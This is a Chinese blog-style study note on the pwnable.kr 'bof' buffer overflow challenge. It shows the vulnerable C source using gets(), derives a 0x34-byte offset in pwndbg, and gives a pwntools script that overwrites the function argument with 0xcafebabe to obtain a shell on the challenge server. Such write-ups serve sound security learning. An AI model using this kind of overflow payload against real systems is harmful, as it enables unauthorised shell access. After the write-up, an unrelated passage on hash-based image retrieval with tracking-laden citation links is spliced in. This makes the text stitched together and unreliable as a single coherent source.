pwnable学习笔记-bof

概述

继续pwn学习,靶场为http://pwnable.kr/,今天为该系列第3篇bof
在这里插入图片描述

题目

题目概述

题目提示缓冲区溢出,是常见的软件漏洞。
在这里插入图片描述

文件与源码下载

  • http://pwnable.kr/bin/bof
  • http://pwnable.kr/bin/bof.c

连接方式

nc pwnable.kr 9000

源代码分析

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
 char overflowme[32];
 printf("overflow me : ");
 gets(overflowme);    // smash me!
 if(key == 0xcafebabe){
  system("/bin/sh");
 }
 else{
  printf("Nah..\n");
 }
}
int main(int argc, char* argv[]){
 func(0xdeadbeef);
 return 0;
}

思路

这段代码中有函数func()和主函数main()main()中调用了func()func()接收main()传递的值0xdeadbeef,并与0xcafebabe比较,如果相等能得到shell。

func()中定义了一个32byte的字符串,并使用gets()函数接收,但没有检查边界,如果用户输入超过32bytes,会发生溢出。

gdb分析

pwndbg> start
pwndbg> pdisass &func 12

可以看到比较的过程,传入的参数在ebp+8,而用户输入缓冲区的数据在ebp-0x2c
在这里插入图片描述

因此,二者的距离为0x34

In [1]: hex(0x8--0x2C)
Out[1]: '0x34'

解答

使用Python第三方库pwntools编写利用脚本

# coding: utf-8

from pwn import *

context.log_level = 'debug'

r = remote("pwnable.kr", 9000)
r.sendline("A" * 0x34 + p32(0xcafebabe))
r.interactive()
哈希图像检索是一种用于在大规模图像数据库中快速搜索相似图像的方法。在哈希图像检索中,图像被转换为哈希码,然后通过比较哈希码的相似性来确定图像之间的相似度。有几种常用的哈希算法可以用于图像检索,如SIFT、SURF、ORB等特征提取算法\[1\]。此外,还有一些基于哈希的图像检索方法,如VLAD、BOF等,可以用于处理海量数据的图像检索\[1\]。 在哈希图像检索中,可以使用不同的方法来计算图像之间的相似度。一种常用的方法是通过比较图像的颜色、纹理和局部特征来计算相似度\[2\]。另外,还可以使用KD-Tree、局部敏感哈希(LSH)和原子哈希函数等方法来在高维空间中进行图像检索\[2\]。 此外,还有一种基于监督学习和核的Hash算法,称为KSH算法。KSH算法利用核主要是为了解决线性不可分问题,通过监督学习学习到更有区分度的哈希值,从而降低特征维数\[3\]。 总之,哈希图像检索是一种用于在大规模图像数据库中快速搜索相似图像的方法,它可以通过提取图像特征和计算相似度来实现。不同的哈希算法和方法可以用于不同的图像检索任务。 #### 引用[.reference_title] - *1* *3* [图像检索传统算法学习笔记](https://blog.csdn.net/qq_39858278/article/details/83895342)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [8月23日计算机视觉理论学习笔记——图像检索](https://blog.csdn.net/Ashen_0nee/article/details/126467437)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值